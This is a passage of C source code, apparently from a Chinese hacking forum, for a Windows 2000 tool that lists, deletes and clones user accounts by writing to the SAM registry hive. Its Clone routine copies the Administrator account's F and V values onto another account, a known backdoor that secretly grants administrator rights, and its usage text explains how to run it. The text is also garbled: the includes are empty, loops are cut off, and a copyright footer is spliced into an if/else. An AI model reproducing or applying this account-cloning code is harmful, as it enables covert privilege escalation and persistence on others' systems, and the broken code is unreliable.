#include
#include
#include
char name[50][30];
int KeyN=0;
//OpenKey(),ViewUser(),ListUser()函数用到的变量
void Sid (char *sid);
//删除安全标识符
void User (char *user);
//删除用户名
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);
//显示用户名对应的安全标识符
int Clone (char *C_sid);
//克隆帐户
void Usage (void);
//帮助信息
void main (int argc, char *argv[])
{
char SID[10];
char C_Sid[10];
char USER[40];
int n;
for (n=1;n,T_name);
ZeroMemory(T_name,100);
lpcbname=100;
}
RegCloseKey(hkey);
//拼接用户名
for(KeyN=0;KeyN");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);
strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4",
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,
0,
KEY_ALL_ACCESS,
&C_hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,
lpDataV,
SizeV);
if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
Copyright ? 2000-2004 HUC All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net
else
{
printf("Clone User FAIL\n");
return 0;
}
RegCloseKey(hkey);
RegCloseKey(C_hkey);
return 1;
}
void Usage (void)
{
fprintf
(stderr,"=====================================================================
"\t 克隆/删除任意用户\n"
"\t环境:Win2K Adv Server + Visual C++ 6.0\n"
"\t作者:dahubaobao\n"
"\t主页:www.RingZ.org\;n"
"\tOICQ:382690\n"
"\t邮件:dahubaobao@hotmail.com\n"
"\t声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n"
"\n"
"\t使用方法:\n"
"\t\"-H\":帮助信息\n"
"\t\"-L\":列出系统中用户对应的SID\n"
"\t\"-C\":克隆帐户,输入SID即可\n"
"\t\"-S\":删除SID\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t\"-U\":删除用户名\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事项:\n"
"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"
"\t例如:000001F5,则直接输入1F5,即可将Guest帐户删除\n"
"\t使用Regedt32将SAM键修改为Administrators可以访问\n"
"\t使用-C参数后,会弹出\"Clone SID:\"提示符,只需输入相应的SID即可克隆\n"
"\t使用-S参数后,会弹出\"Delete SID:\"提示符,只需输入相应的SID即可删除\n"
"\t使用-U参数后,会弹出\"Delete USER:\"提示符,只需输入相应的用户名即可删除\n"
"==========================================================================
|